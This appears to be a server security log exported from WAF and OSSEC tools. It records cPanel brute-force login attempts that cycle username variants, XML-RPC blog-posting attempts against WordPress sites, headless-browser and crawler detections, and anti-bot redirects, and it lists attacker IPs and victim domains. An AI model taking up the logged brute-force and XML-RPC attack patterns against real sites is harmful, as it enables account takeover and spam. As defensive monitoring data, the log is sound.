IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c2e6468f54afd9392b20f2c84ff59c9eac651982||Title:zbhc1xl6c0lofxcxjx||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.238.28.164
country_id: 1819730
domain: www.cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tg/wp-content/uploads/2013/06/Senegal-Code-Camp-2013.jpg HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 170.150.97.143
country_id: 3469034
description:
[2026-06-27 02:18:01 +0000] info [cpaneld] 170.150.97.143 - metaa "GET /login/?login_only=1&user=metaa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user metaa (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.56.195.191
country_id: 99237
description:
[2026-06-27 02:17:46 +0000] info [cpaneld] 185.56.195.191 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 170.83.203.125
country_id: 3469034
description:
[2026-06-27 02:17:53 +0000] info [cpaneld] 170.83.203.125 - metaarttg "GET /login/?login_only=1&user=metaarttg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user metaarttg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.160.88.74
country_id: 3469034
description:
[2026-06-27 02:17:56 +0000] info [cpaneld] 45.160.88.74 - metaar "GET /login/?login_only=1&user=metaar&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user metaar (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.76.106.5
country_id: 1269750
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4a1c07f6641514ebf0dd96cf142b0867f6206fa9||Title:cih9e2mchv4tvi8q||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.122.205.33
country_id: 2017370
description:
[2026-06-27 02:18:06 +0000] info [cpaneld] 176.122.205.33 - meta "GET /login/?login_only=1&user=meta&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user meta (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.4.59.247
country_id: 3624060
description:
[2026-06-27 02:18:08 +0000] info [cpaneld] 186.4.59.247 - met "GET /login/?login_only=1&user=met&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user met (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 45.175.70.82
country_id: 3508796
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9f5d15e0931da9cf02394ed73e57840ce107fbbe||Title:9rljzs0hsr4pafmmb3||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.76.106.5
country_id: 1269750
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8f3361ec88b752b3b8fc898aa162a26ed72e05a7||Title:fq3eyj875hc9loy7||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.104.194.101
country_id: 3469034
description:
[2026-06-27 02:18:13 +0000] info [cpaneld] 177.104.194.101 - me "GET /login/?login_only=1&user=me&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user me (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 45.175.70.82
country_id: 3508796
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e487448f692c27005130fc9c8d516da615f17211||Title:0pfc4725nge1ezu||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 45.175.70.82
country_id: 3508796
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1f8ff2df0b9979c750b619c76ad1e4b818ce9cc8||Title:9qo7579ft7gb5adn||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.76.106.5
country_id: 1269750
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b619287fc45834652bc19a2dc359260b1d3f167a||Title:f9m6baxy53bi7f4kcb||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.76.106.5
country_id: 1269750
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6f07e7a089813e2e9264a119bc1afe9e71cc5566||Title:o2llwlloue40p33g||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 45.175.70.82
country_id: 3508796
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ecc93996bb668f70dd099f43f8424e61dacb49ba||Title:mb208358hiqlzzs6z1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 45.175.70.82
country_id: 3508796
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7801d54b984f21508ce8abf251afb0e9dde2dceb||Title:whovn4fps83khhg||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.76.106.5
country_id: 1269750
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b572c657c9c58bd67738983a7be9b3dddcdad965||Title:pci2toh562b8oyw||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 45.175.70.82
country_id: 3508796
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:078f77e624e236b87e18789fd54d3f82c25b2b93||Title:so6n3hk6zdkyre||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.76.106.5
country_id: 1269750
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8d28b0fbb3474e06521867a10dc3666cd05a8dd8||Title:x6x24ue7k6hf3p||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 45.175.70.82
country_id: 3508796
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9d9ce29e77d36af7fd499c73faec2ddbd92666c3||Title:fmg5d2twpg49iieiwn||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.219.122.151
country_id: 3469034
description:
[2026-06-27 02:25:12 +0000] info [cpaneld] 186.219.122.151 - afriq "GET /login/?login_only=1&user=afriq&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user afriq (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.38.29.241
country_id: 290557
description:
[2026-06-27 02:24:29 +0000] info [cpaneld] 5.38.29.241 - alloaci "GET /login/?login_only=1&user=alloaci&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user alloaci (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.15.17.34
country_id: 3469034
description:
[2026-06-27 02:24:36 +0000] info [cpaneld] 200.15.17.34 - alloa "GET /login/?login_only=1&user=alloa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user alloa (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.51.53.75
country_id: 1210997
description:
[2026-06-27 02:24:52 +0000] info [cpaneld] 103.51.53.75 - besteva1com "GET /login/?login_only=1&user=besteva1com&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user besteva1com (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.123.252.2
country_id: 3437598
description:
[2026-06-27 02:24:59 +0000] info [cpaneld] 181.123.252.2 - afriquedi "GET /login/?login_only=1&user=afriquedi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user afriquedi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.234.217.225
country_id: 3658394
description:
[2026-06-27 02:25:07 +0000] info [cpaneld] 177.234.217.225 - best "GET /login/?login_only=1&user=best&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user best (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 31.135.46.238
country_id: 2017370
description:
[2026-06-27 02:24:54 +0000] info [cpaneld] 31.135.46.238 - afriquedis "GET /login/?login_only=1&user=afriquedis&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user afriquedis (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 117.5.85.77
country_id: 1562822
description:
[2026-06-27 02:24:14 +0000] info [cpaneld] 117.5.85.77 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 45.175.70.82
country_id: 3508796
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:56afa3b78842fc8cc8d6d4823ec282251dc54d3e||Title:cbyjnojbyi3ewvhj||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.137.199.1
country_id: 3932488
description:
[2026-06-27 02:24:18 +0000] info [cpaneld] 38.137.199.1 - alloacio "GET /login/?login_only=1&user=alloacio&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user alloacio (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.19.233.84
country_id: 3469034
description:
[2026-06-27 02:24:32 +0000] info [cpaneld] 187.19.233.84 - alloac "GET /login/?login_only=1&user=alloac&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user alloac (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.130.86.22
country_id: 3469034
description:
[2026-06-27 02:24:57 +0000] info [cpaneld] 201.130.86.22 - besteva "GET /login/?login_only=1&user=besteva&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user besteva (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 168.196.172.18
country_id: 3469034
description:
[2026-06-27 02:25:02 +0000] info [cpaneld] 168.196.172.18 - beste "GET /login/?login_only=1&user=beste&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user beste (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.133.86.175
country_id: 3469034
description:
[2026-06-27 02:24:39 +0000] info [cpaneld] 179.133.86.175 - allo "GET /login/?login_only=1&user=allo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user allo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.166.112.86
country_id: 3469034
description:
[2026-06-27 02:24:46 +0000] info [cpaneld] 45.166.112.86 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.118.3.58
country_id: 2542007
description:
[2026-06-27 02:24:48 +0000] info [cpaneld] 196.118.3.58 - besteva1 "GET /login/?login_only=1&user=besteva1&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user besteva1 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.121.17.16
country_id: 1643084
description:
[2026-06-27 02:25:20 +0000] info [cpaneld] 103.121.17.16 - afr "GET /login/?login_only=1&user=afr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user afr (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 45.175.70.82
country_id: 3508796
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0fbc66632910cbab9c8f4cc9b379b0bd444b8be0||Title:zpkdb3ho4s8zp237||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.112.47.254
country_id: 1327865
description:
[2026-06-27 02:25:24 +0000] info [cpaneld] 45.112.47.254 - af "GET /login/?login_only=1&user=af&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user af (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 45.175.70.82
country_id: 3508796
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0782539648dc746f75e46d5e40cdabdc83d2f5ff||Title:d26mrqj8johvv3bz||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 193.151.190.64
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:193.151.190.64||TA:193.151.190.64||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 45.175.70.82
country_id: 3508796
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:13d6624c0402f83ec68d6679df82476ccb80d941||Title:f2e68hf7b6hkrl5mt||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 45.175.70.82
country_id: 3508796
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:46084d3566f557da3c6d3577eb4a7bde6f7091dc||Title:ndd76q54qtml5v3y||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 45.175.70.82
country_id: 3508796
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c761ea14b48bd3d4e6497e8e41db0f62b0fa980a||Title:1higc2385jdxfchk||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 45.175.70.82
country_id: 3508796
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:690d6d3dac7405332dbc568f5570840eda6653d8||Title:kw6s7ilw51jas3jy1o||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.171.73.123
country_id: 6252001
description:
[2026-06-27 02:31:26 +0000] info [cpaneld] 76.171.73.123 - ciieeinternational "GET /login/?login_only=1&user=ciieeinternational&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinternational (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.131.29.128
country_id: 3017382
description:
[2026-06-27 02:31:35 +0000] info [cpaneld] 92.131.29.128 - ciieeinter "GET /login/?login_only=1&user=ciieeinter&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinter (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.182.177.18
country_id: 3865483
description:
[2026-06-27 02:31:44 +0000] info [cpaneld] 186.182.177.18 - ciieein "GET /login/?login_only=1&user=ciieein&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieein (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.33.169.105
country_id: 3469034
description:
[2026-06-27 02:31:47 +0000] info [cpaneld] 201.33.169.105 - ciieei "GET /login/?login_only=1&user=ciieei&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieei (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.191.62.56
country_id: 3469034
description:
[2026-06-27 02:31:50 +0000] info [cpaneld] 181.191.62.56 - ciiee "GET /login/?login_only=1&user=ciiee&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciiee (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.178.84.198
country_id: 3865483
description:
[2026-06-27 02:32:02 +0000] info [cpaneld] 45.178.84.198 - cii "GET /login/?login_only=1&user=cii&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cii (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.164.209.92
country_id: 3469034
description:
[2026-06-27 02:31:31 +0000] info [cpaneld] 45.164.209.92 - ciieeinternationalorg "GET /login/?login_only=1&user=ciieeinternationalorg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinternationalorg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.102.113.122
country_id: 3686110
description:
[2026-06-27 02:31:41 +0000] info [cpaneld] 191.102.113.122 - ciieeint "GET /login/?login_only=1&user=ciieeint&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeint (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.128.66.72
country_id: 3469034
description:
[2026-06-27 02:31:55 +0000] info [cpaneld] 177.128.66.72 - ciie "GET /login/?login_only=1&user=ciie&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciie (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 45.175.70.82
country_id: 3508796
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:12f631c07f7eb7de4d96745b594d5acb878352ec||Title:wo1cbzs9tzb25ylq2||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 175.44.42.69
country_id: 1814991
domain: www.hotelyabisso.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/97.0.4691.0 Safari/537.36||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.251.90.48
country_id: 6252001
description:
47.251.90.48 - - [27/Jun/2026:02:34:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9739161&pdata=https%253A%252F%252Farse.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782527663 HTTP/2.0" 302 0 arse.tg "https://arse.tg/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.251.90.48


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.251.188.82
country_id: 6252001
description:
47.251.188.82 - - [27/Jun/2026:02:34:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7103850&pdata=https%253A%252F%252Fns5.netmaster.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782527662 HTTP/2.0" 302 0 ns5.netmaster.tg "https://ns5.netmaster.tg/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.251.188.82


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.251.24.105
country_id: 6252001
description:
47.251.24.105 - - [27/Jun/2026:02:34:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6855832&pdata=https%253A%252F%252Fcafe.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782527680 HTTP/2.0" 302 0 cafe.tg "https://cafe.tg/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.251.24.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.251.188.82
country_id: 6252001
description:
47.251.188.82 - - [27/Jun/2026:02:35:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6918759&pdata=https%253A%252F%252Fwww.arse.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782527709 HTTP/2.0" 302 0 www.arse.tg "https://www.arse.tg/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.251.188.82


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.12
country_id: 6252001
description:
205.169.39.12 - - [27/Jun/2026:02:35:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10250858&pdata=http%253A%252F%252Fboutique.cafe.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782527725 HTTP/1.1" 302 0 boutique.cafe.tg "http://boutique.cafe.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.12


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 180.75.45.11
country_id: 1733045
description:
180.75.45.11 - - [27/Jun/2026:02:37:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9802849&pdata=https%253A%252F%252Ftogodailynews.tg%252Fgrande-finale-du-concours-latelier-de-lavenir-70-laureats-2-000-spectateurs-et-une-nouvelle-vague-de-projets-pour-le-congo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782527867 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/grande-finale-du-concours-latelier-de-lavenir-70-laureats-2-000-spectateurs-et-une-nouvelle-vague-de-projets-pour-le-congo/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.5023.1000 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:180.75.45.11


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 183.171.242.9
country_id: 1733045
description:
183.171.242.9 - - [27/Jun/2026:02:37:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9881490&pdata=https%253A%252F%252Fcivilemagazine.tg%252Fclassement-des-armees-africaines-en-2024-les-defis-a-relever%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782527865 HTTP/2.0" 302 0 civilemagazine.tg "https://civilemagazine.tg/classement-des-armees-africaines-en-2024-les-defis-a-relever/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.7550.1396 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:183.171.242.9


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 54.71.187.124
country_id: 6252001
description:
54.71.187.124 - - [27/Jun/2026:02:39:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7040662&pdata=http%253A%252F%252Fp3lbys.mediatopnews.tg%252Flyubaberzin%2540theprivatesectorgroup.us&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782527951 HTTP/1.1" 302 0 p3lbys.mediatopnews.tg "http://p3lbys.mediatopnews.tg/lyubaberzin@theprivatesectorgroup.us" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.71.187.124


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.100.255.7
country_id: 3658394
description:
[2026-06-27 02:39:10 +0000] info [cpaneld] 191.100.255.7 - opaco "GET /login/?login_only=1&user=opaco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user opaco (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.66.101.66
country_id: 3658394
description:
[2026-06-27 02:38:47 +0000] info [cpaneld] 186.66.101.66 - opaconseilstg "GET /login/?login_only=1&user=opaconseilstg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user opaconseilstg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.191.163.203
country_id: 1210997
description:
[2026-06-27 02:38:58 +0000] info [cpaneld] 103.191.163.203 - opaconse "GET /login/?login_only=1&user=opaconse&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user opaconse (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.253.150.228
country_id: 3932488
description:
